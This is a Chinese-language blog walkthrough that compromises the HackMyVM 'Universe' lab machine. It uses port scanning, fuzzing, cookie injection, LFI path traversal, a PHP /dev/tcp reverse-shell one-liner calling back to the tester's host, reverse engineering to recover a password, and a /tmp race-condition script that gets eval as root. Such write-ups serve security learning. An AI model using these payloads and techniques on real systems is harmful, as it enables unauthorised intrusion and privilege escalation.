Universe - hackmyvm

本文详细描述了一次渗透测试过程,包括使用Nmap扫描、识别LFI漏洞并通过1212端口利用Base64编码传递cookie获取shell。作者还介绍了如何提权、使用frp转发以及执行竞争攻击,最终获取了root权限。
摘要由CSDN通过智能技术生成

简介

难度:困难

靶场地址:https://hackmyvm.eu/machines/machine.php?vm=Universe

本地环境

虚拟机:vitual box

靶场IP(universe):192.168.56.108

跳板机IP(windows 10):192.168.56.1 192.168.190.100

渗透机IP(ubuntu 22.04):192.168.190.30

扫描

简单扫一下

nmap -p 1-65535 -T4 -A -v 192.168.56.108/32

image-20240401212954922

确定目标为21端口和22端口

1212端口看着奇怪,其实也就是http

image-20240401213633815

随便访问几下发现users会随机变动,于是fuzz一下

ffuf -w ./dic.txt -u http://192.168.56.108:1212/\?user\=FUZZ -fw 550  -t 50 -c

image-20240402133335471

得到特定user为9

image-20240402133430567

Cookie

根据网页显示,好像要传入cookie,但exec直接传入值会报错

image-20240402134136076

于是编码成base64,这下成功弹到shell了

image-20240402134347701

image-20240402140903705

提权

升级shell

/usr/bin/script -qc /bin/bash /dev/null

转发

image-20240402151904506

可以看到有一个本地才能访问的8080端口

这里直接传个frp,做个转发。
正常转发倒也不必这么大费干戈,socat就能搞了,这里是为了方便后续渗透(虽然事后发现根本没必要)

$cat frps.toml
bindPort = 47000
$cat frpc.toml
serverAddr = "192.168.56.1"
serverPort = 47000

[[proxies]]
name = "web"
type = "tcp"
localIP = "127.0.0.1"
localPort = 8080
remotePort = 8080

跳板机转发配置:

netsh interface portproxy show all

侦听 ipv4:                 连接到 ipv4:

地址            端口        地址            端口
--------------- ----------  --------------- ----------
0.0.0.0         40000       192.168.190.30  40000
0.0.0.0         40001       192.168.190.30  40001
0.0.0.0         47000       192.168.190.30  47000

然后就能直接访问了

image-20240402152440664

LFI

看着像LFI,事实上也确实如此,试了几个绕过后发现是./…//…//…//来返回上级目录

image-20240402155745223

这里直接传个php的反弹shell即可

<?php system("bash -c 'sh -i >& /dev/tcp/192.168.56.1/40001 0>&1'");?>

image-20240402161313938

提权

sudo -l 起手

image-20240402174624003

除了Quasar之外,这个目录下还有一个print.sh脚本

void@universe:/scripts$ cat print.sh
#!/usr/bin/env bash
tmp_file=$(/usr/bin/mktemp -u /tmp/read-XXXXX)
(
    umask 110
    /usr/bin/touch "$tmp_file";
)
/usr/bin/echo "test" > "$tmp_file"
data=$(/usr/bin/cat "$tmp_file")
eval "$data"

先把Quasar脱下来具体看看怎么回事

逆向

image-20240402175040618

经过一系列检测之后,程序会执行print.sh

那么我们需要输入些什么呢?

首先可以看到sub_1414是sha256加密

unsigned __int64 __fastcall sub_1414(__int64 a1, __int64 a2)
{
  int i; // [rsp+1Ch] [rbp-ACh]
  char v4[112]; // [rsp+20h] [rbp-A8h] BYREF
  char v5[40]; // [rsp+90h] [rbp-38h] BYREF
  unsigned __int64 v6; // [rsp+B8h] [rbp-10h]

  v6 = __readfsqword(0x28u);
  SHA256_Init(v4);
  SHA256_Update(v4, a1, 10LL);
  SHA256_Final(v5, v4);
  for ( i = 0; i <= 31; ++i )
    sprintf((char *)(a2 + 2 * i), "%02x", (unsigned __int8)v5[i]);
  *(_BYTE *)(a2 + 64) = 0;
  return v6 - __readfsqword(0x28u);
}

也就是说,原文a1在加密后又通过sha256编码,最后和我们输入的a2的sha256值进行比对

所以逻辑也很简单了,只要在a1和a2比对的位置处下断就可以了

image-20240402180241440

动调

这边我使用了pwngdb。感觉麻烦的话使用idaserver然后远程调试也是可以的,我主要是打pwn习惯了。

首先看看安全机制

checksec ./Quasar

image-20240402180509289

其他不用管,可以看到开启了PIE,所以基址不定

动调之前记得随便设个参数set args 2,否则会走到"Uso: ./Quasar <password>"

然后下断用b *$rebase(0x1579)即可

image-20240402180947015

然后就可以到cmd5上面直接解了

image-20240402175629348

如果不想付费的话也可以下断到0x1549,然后查看rdi参数即可。只不过前者更容易理解而已。

image-20240402181347678

密码就是9740252204

写入竞争

print.sh脚本看的不是很明白,让文心看看

这段 Bash 脚本执行了以下操作:

1. 使用 `mktemp` 命令在 `/tmp` 目录下创建了一个临时文件,其名称以 `read-` 开头,后面跟着五个随机字符。这个临时文件的路径被存储在变量 `tmp_file` 中。
2. 在一个子 shell(由 `(` 和 `)` 包围)中,首先使用 `umask` 命令设置了文件创建掩码为 `110`(即八进制的 110,转换为十进制为 72,二进制为 0100 1000)。这意味着新创建的文件将具有默认的权限,但会去掉 group write(组写)和 other write(其他写)权限。然后,使用 `touch` 命令创建或更新这个临时文件的时间戳。
3. 回到主 shell,使用 `echo` 命令将字符串 "test" 写入这个临时文件。
4. 使用 `cat` 命令读取临时文件的内容,并将其存储在变量 `data` 中。
5. 最后,使用 `eval` 命令执行 `data` 变量中的内容。```

也就是说,如果在启动该脚本时、执行umask之前把我们自己的shell脚本写入,就可以eval我们的命令

另起一个终端,然后执行以下shell脚本

#!/bin/bash

while true; do
    # 查找 /tmp 目录下以 read 开头的文件
    read_files=$(find /tmp -maxdepth 1 -type f -name 'read*')

    # 遍历找到的每个文件
    for file in $read_files; do
          # 向文件写入 "cat /root/root.txt"
          echo "cat /root/root.txt" >> "$file"
          echo "Wrote to file: $file"
    done
done

竞争成功

image-20240402184052704

root{k7Ei4kA88gtL957yYbWdRfVJg}

  • 8
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值